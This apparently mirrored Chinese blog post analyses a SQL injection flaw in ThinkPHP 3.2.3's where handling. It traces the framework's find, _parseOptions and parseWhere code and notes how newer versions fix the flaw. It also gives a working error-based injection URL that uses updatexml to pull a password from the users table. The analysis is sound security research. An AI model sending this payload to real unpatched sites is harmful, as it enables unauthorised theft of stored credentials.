zoukankan      html  css  js  c++  java
  • ThinkPHP3.2.3框架where注入

    环境搭建

    直接在IndexController.class.php中创建一个demo

    public function index(){
        $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }
    

    数据库配置:

    <?php
    return array(
        //'配置项'=>'配置值'
        'DB_TYPE'           =>  'mysql',
        'DB_HOST'           =>  'localhost',
        'DB_NAME'           =>  'thinkphp',
        'DB_USER'           =>  'root',
        'DB_PWD'            =>  'root',
        'DB_PORT'           =>  '3306',
        'DB_FIELDS_CACHE'   =>  true,
        'SHOW_PAGE_TRACE'   =>  true,
    );
    

    漏洞分析

    payload:

    http://127.0.0.1/thinkphp32/index.php?id[where]=3 and 1=updatexml(1,concat(0x7,(select password from user limit 1),0x7e),1)%23
    

    image-20201014185048005

    I方法就不用多说了,htmlspecialchars和think_filter过滤处理之后返回,连常见的updataxml这种危险的报错注入函数都没有过滤。

    接下来直接跟进find函数:

    /**
     * 查询数据
     * @access public
     * @param mixed $options 表达式参数
     * @return mixed
     */
    public function find($options=array()) {
        if(is_numeric($options) || is_string($options)) {
            $where[$this->getPk()]  =   $options;
            $options                =   array();
            $options['where']       =   $where;
        }
        // 根据复合主键查找记录
        $pk  =  $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {
            // 根据复合主键查询
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
                return false;
            }
        }
        // 总是查找一条记录
        $options['limit']   =   1;
        // 分析表达式
        $options            =   $this->_parseOptions($options);
        // 判断查询缓存
        if(isset($options['cache'])){
            $cache  =   $options['cache'];
            $key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options));
            $data   =   S($key,'',$cache);
            if(false !== $data){
                $this->data     =   $data;
                return $data;
            }
        }
        $resultSet          =   $this->db->select($options);
        if(false === $resultSet) {
            return false;
        }
        if(empty($resultSet)) {// 查询结果为空
            return null;
        }
        if(is_string($resultSet)){
            return $resultSet;
        }
    
        // 读取数据后的处理
        $data   =   $this->_read_data($resultSet[0]);
        $this->_after_find($data,$options);
        if(!empty($this->options['result'])) {
            return $this->returnResult($data,$this->options['result']);
        }
        $this->data     =   $data;
        if(isset($cache)){
            S($key,$data,$cache);
        }
        return $this->data;
    }
    

    首先进入到$this->_parseOptions函数:

    /**
    * 分析表达式
    * @access protected
    * @param array $options 表达式参数
    * @return array
    */
    protected function _parseOptions($options=array()) {
    if(is_array($options))
    $options =  array_merge($this->options,$options);
    
    if(!isset($options['table'])){
    // 自动获取表名
    $options['table']   =   $this->getTableName();
    $fields             =   $this->fields;
    }else{
    // 指定数据表 则重新获取字段列表 但不支持类型检测
    $fields             =   $this->getDbFields();
    }
    
    // 数据表别名
    if(!empty($options['alias'])) {
    $options['table']  .=   ' '.$options['alias'];
    }
    // 记录操作的模型名称
    $options['model']       =   $this->name;
    
    // 字段类型验证
    if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
    // 对数组查询条件进行字段类型检查
    foreach ($options['where'] as $key=>$val){
    $key            =   trim($key);
    if(in_array($key,$fields,true)){
    if(is_scalar($val)) {
    $this->_parseType($options['where'],$key);
    }
    }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
    if(!empty($this->options['strict'])){
    E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
    } 
    unset($options['where'][$key]);
    }
    }
    }
    // 查询过后清空sql表达式组装 避免影响下次查询
    $this->options  =   array();
    // 表达式过滤
    $this->_options_filter($options);
    return $options;
    }
    

    其作用是分析表达式,并且在最后对字段类型进行验证时,正常会进入到$this->_parseType函数,并且对类型进行转换,之后进行参数化。

    /**
     * 数据类型检测
     * @access protected
     * @param mixed $data 数据
     * @param string $key 字段名
     * @return void
     */
    protected function _parseType(&$data,$key) {
        if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
            $fieldType = strtolower($this->fields['_type'][$key]);
            if(false !== strpos($fieldType,'enum')){
                // 支持ENUM类型优先检测
            }elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
                $data[$key]   =  intval($data[$key]);
            }elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
                $data[$key]   =  floatval($data[$key]);
            }elseif(false !== strpos($fieldType,'bool')){
                $data[$key]   =  (bool)$data[$key];
            }
        }
    }
    

    但是当我们在_parseOptions传入时,where为字符串,故不会进入字段类型验证的判断,也不会进入到_parseType中,绕过了类型的转换。

    至此我们回溯分析,可以看到find函数在刚进入的位置:

    image-20201014193720954

    我们直接传入数组,false了if(is_numeric($options) || is_string($options))的判断,从而绕过了对where的初始化。然后继续回到下一个关键函数select的分析:

    image-20201014204043474

    继续跟入$this->buildSelectSql函数:

    image-20201014204243980

    接下来继续进入$this->parseSql函数:

    image-20201014204326358

    继续分析parseWhere函数:

    /**
         * where分析
         * @access protected
         * @param mixed $where
         * @return string
         */
        protected function parseWhere($where) {
            $whereStr = '';
            if(is_string($where)) {
                // 直接使用字符串条件
                $whereStr = $where;
            }else{ // 使用数组表达式
                $operate  = isset($where['_logic'])?strtoupper($where['_logic']):'';
                if(in_array($operate,array('AND','OR','XOR'))){
                    // 定义逻辑运算规则 例如 OR XOR AND NOT
                    $operate    =   ' '.$operate.' ';
                    unset($where['_logic']);
                }else{
                    // 默认进行 AND 运算
                    $operate    =   ' AND ';
                }
                foreach ($where as $key=>$val){
                    if(is_numeric($key)){
                        $key  = '_complex';
                    }
                    if(0===strpos($key,'_')) {
                        // 解析特殊条件表达式
                        $whereStr   .= $this->parseThinkWhere($key,$val);
                    }else{
                        // 查询字段的安全过滤
                        // if(!preg_match('/^[A-Z_|&-.a-z0-9()\,]+$/',trim($key))){
                        //     E(L('_EXPRESS_ERROR_').':'.$key);
                        // }
                        // 多条件支持
                        $multi  = is_array($val) &&  isset($val['_multi']);
                        $key    = trim($key);
                        if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
                            $array =  explode('|',$key);
                            $str   =  array();
                            foreach ($array as $m=>$k){
                                $v =  $multi?$val[$m]:$val;
                                $str[]   = $this->parseWhereItem($this->parseKey($k),$v);
                            }
                            $whereStr .= '( '.implode(' OR ',$str).' )';
                        }elseif(strpos($key,'&')){
                            $array =  explode('&',$key);
                            $str   =  array();
                            foreach ($array as $m=>$k){
                                $v =  $multi?$val[$m]:$val;
                                $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
                            }
                            $whereStr .= '( '.implode(' AND ',$str).' )';
                        }else{
                            $whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
                        }
                    }
                    $whereStr .= $operate;
                }
                $whereStr = substr($whereStr,0,-strlen($operate));
            }
            return empty($whereStr)?'':' WHERE '.$whereStr;
        }
    

    在刚进入时进行字符串条件判断,然后直接到最后,直接进行了字符串的拼接:

    image-20201014205037959

    最后返回:

    image-20201014205132630

    并且直接在select中进行了$this->query执行,导致了报错注入。

    修复

    image-20201014205259880

    新的版本中将$options$this->options进行了区分,从而传入的参数无法污染到$this->options,也就无法控制sql语句了。

    参考

    1. ThinkPHP漏洞分析集合
    2. 代码审计之Thinkphp3.2.3
  • 相关阅读:
    10. Regular Expression Matching
    9. Palindrome Number
    6. ZigZag Conversion
    5. Longest Palindromic Substring
    4. Median of Two Sorted Arrays
    3. Longest Substring Without Repeating Characters
    2. Add Two Numbers
    链式表的按序号查找
    可持久化线段树——区间更新hdu4348
    主席树——树链上第k大spoj COT
  • 原文地址:https://www.cnblogs.com/lktop/p/13824832.html
Copyright © 2011-2022 走看看